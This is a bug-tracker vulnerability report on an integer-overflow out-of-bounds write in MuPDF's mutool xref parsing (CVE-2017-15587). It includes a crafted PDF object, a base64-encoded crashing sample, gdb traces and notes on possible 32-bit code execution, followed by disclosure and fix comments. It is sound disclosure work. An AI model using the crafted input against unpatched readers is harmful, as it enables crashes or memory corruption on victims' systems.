Created attachment 14344 [details] Crashing Sample # MuPDF mutools Out-of-Bounds Write Vulnerability A vulnerability in mutools PDF parsing functionality allows an attacker to write controlled data to an arbitrary location in memory due to an integer overflow when performing truncated xref checks. On 64 bit builds, the extent of this bug is most likely a denial-of-service while on 32 bit builds, the bug can possibly be leveraged to gain arbitrary code execution. ## Affected Versions The current release (1.11) is affected. Further analysis is required to determine which versions are also affected by the vulnerability. ## Vulnerability Scores Classification: CWE-787: Out-of-Bounds Write CVSSv3: 7.3 (AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H) ## Description The vulnerable lines of code are present in the file `source/pdf/pdf-xref.c`. They are triggered in the `info`, 'show', 'draw', 'clean', 'extract', 'merge', 'portfolio', 'poster', and 'pages' functions of `mutool`. The attached minimised crashing sample includes the following object that triggers the vulnerable code path. ``` obj<</[]/Index[2147483647 1]/ 0 0 R/ 0/Size 0/W[]>>stream ``` The issue stems from how the "/Index" entry is parsed and processed. The "/Index" entry is an array containing pairs of integers that denote the first object number in the subsection and the number of entries in the subsection. In the function `pdf_read_new_xref`, the pairs of integers are read and processed. For each pair of integers, the first number is read as an `int` into `i0` and the second is read as an `int` into `i1`. The two values are passed into the `pdf_read_new_xref_section` call. ```c 958 static pdf_obj * 959 pdf_read_new_xref(fz_context *ctx, pdf_document *doc, pdf_lexbuf *buf) 960 { ... 1022 int n = pdf_array_len(ctx, index); 1023 for (t = 0; t < n; t += 2) 1024 { 1025 int i0 = pdf_to_int(ctx, pdf_array_get(ctx, index, t + 0)); 1026 int i1 = pdf_to_int(ctx, pdf_array_get(ctx, index, t + 1)); 1027 pdf_read_new_xref_section(ctx, doc, stm, i0, i1, w0, w1, w2); 1028 } ... 1050 } ``` In the `pdf_read_new_xref_section` function, some sanity checks are performed to validate the xref structure. First, the two values have to be non-negative. Second, it checks that the xref stream is not truncated. For the out-of-bounds write to occur, the truncation check has to be bypassed. This can be achieved by skipping the loop in line 927 by causing an integer overflow in the calculation `i0 +i1`. Since the values are of the type `int and are signed`, adding `2147483647` and `1` causes the calculation to wrap around resulting in the value of `-2147483648`. ```c 915 static void 916 pdf_read_new_xref_section(fz_context *ctx, pdf_document *doc, fz_stream *stm, fz_off_t i0, int i1, int w0, int w1, int w2) 917 { ... 921 if (i0 < 0 || i1 < 0) 922 fz_throw(ctx, FZ_ERROR_GENERIC, "negative xref stream entry index"); ... 927 for (i = i0; i < i0 + i1; i++) 928 { ... 934 if (fz_is_eof(ctx, stm)) 935 fz_throw(ctx, FZ_ERROR_GENERIC, "truncated xref stream"); ... 952 } ... 955 } ``` Later on in the execution, the `ensure_solid_xref` function is called to merge xref subsections. The field `sub->start` contains the value of `i0` and the field `sub->len` contains the value in `i1`. `new_sub->table` holds an address in the heap. In the above example on a 64 bit build, the assignment will resolve to `new_sub->table[0x7fffffff] = sub->table[0];`. The type of `new_sub->table` is `pdf_xref_entry` which is of size 0x20 which means that the dereference happens in multiples of 0x20. This causes the out-of-bounds write. ```c 162 /* Ensure that the given xref has a single subsection 163 * that covers the entire range. */ 164 static void 165 ensure_solid_xref(fz_context *ctx, pdf_document *doc, int num, int which) 166 { ... 199 for (i = 0; i < sub->len; i++) 200 { 201 new_sub->table[i+sub->start] = sub->table[i]; 202 } ... 211 } ``` Due to the nature of constraints, `i1` is bounded by the amount of memory possible to be allocated by `calloc`. Thus, `i0` is restricted to a very large number. On a 64 bit build, this would most likely cause a crash since the write will land in unaddressable memory. On a 32 bit build, the integer wrap around can be leveraged again to put the write in valid addressable regions and possibly achieve arbitrary code execution or cause other unspecified impact. ## Mitigation A quick fix for the issue would be to include a check for the integer overflow in `pdf_read_new_xref_section`. Further analysis is required to identify systemic issues resulting from the unsafe use of signed integers before suggesting a robust fix. ## Proof of Concept The file `crash.pdf` is attached in this report. It is also included here as a base64 encoded file. ``` JVBERi0wMDAwMDAgMCBvYmo8PC9bXS9JbmRleFsyMTQ3NDgzNjQ3IDFdLyAwIDAgUi8gMC9TaXpl IDAvV1tdPj5zdHJlYW0Nc3RhcnR4cmVmMTAK ``` On a 64 bit build of mupdf, the program crashes on the abovementioned write. ```shell $ gdb ./mutool (gdb) r info manipulate.pdf Starting program: /vagrant/projects/mupdf/mutool info manipulate.pdf [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". manipulate.pdf: warning: line feed missing after stream begin marker (0 0 R) Program received signal SIGSEGV, Segmentation fault. 0x00000000004b9ec6 in ensure_solid_xref (ctx=0x2962010, doc=0x2972ba0, num=1, which=0) at source/pdf/pdf-xref.c:201 201 new_sub->table[i+sub->start] = sub->table[i]; (gdb) p *sub $1 = {next = 0x0, len = 1, start = 2147483647, table = 0x29850d0} (gdb) p *new_sub $2 = {next = 0x0, len = 1, start = 0, table = 0x2985120} (gdb) x/i $rip => 0x4b9ec6 <ensure_solid_xref+433>: mov %rcx,(%rax) (gdb) info reg rax rcx rax 0x1002985100 68763013376 rcx 0x0 0 ``` Whereas on a 32 bit build, the write address wraps around into a valid heap memory region and the out-of-bounds write succeeds. ```shell (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /vagrant/projects/mupdf/mutool-32 info manipulate.pdf [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". manipulate.pdf: warning: line feed missing after stream begin marker (0 0 R) Breakpoint 1, ensure_solid_xref (ctx=0xa32a008, doc=0xa336948, num=1, which=0) at source/pdf/pdf-xref.c:201 201 new_sub->table[i+sub->start] = sub->table[i]; (gdb) p *sub $1 = {next = 0x0, len = 1, start = 2147483647, table = 0xa348c60} (gdb) p *new_sub $2 = {next = 0x0, len = 1, start = 0, table = 0xa348c98} (gdb) info reg eax ecx eax 0x1 1 ecx 0xa32a40c 171090956 (gdb) x/xw 0xa32a40c 0xa32a40c: 0x00000000 (gdb) c Program received signal SIGSEGV, Segmentation fault. 0x080e6a21 in pdf_read_new_xref (ctx=0xa32a008, doc=0xa336948, buf=0xa336a20) at source/pdf/pdf-xref.c:1031 1031 entry->ofs = ofs; (gdb) ``` ## Credit This issue was discovered by Terry Chia (@ayrx) and Jeremy Heng (@nn_amon).
Hi all, Is there an update on this? We have also reported this to the Debian Security Team. Thank you. Jeremy
Hi, We will be releasing a public writeup on this issue on 27 Oct 2017. Thanks, Jeremy
Fixed in commit 82df2631d7d0446b206ea6b434ea609b6c28b0e8 Author: Tor Andersson <tor.andersson@artifex.com> Date: Mon Oct 16 13:14:25 2017 +0200 Check for integer overflow when validating new style xref Index.
Bug was assigned CVE-2017-15587.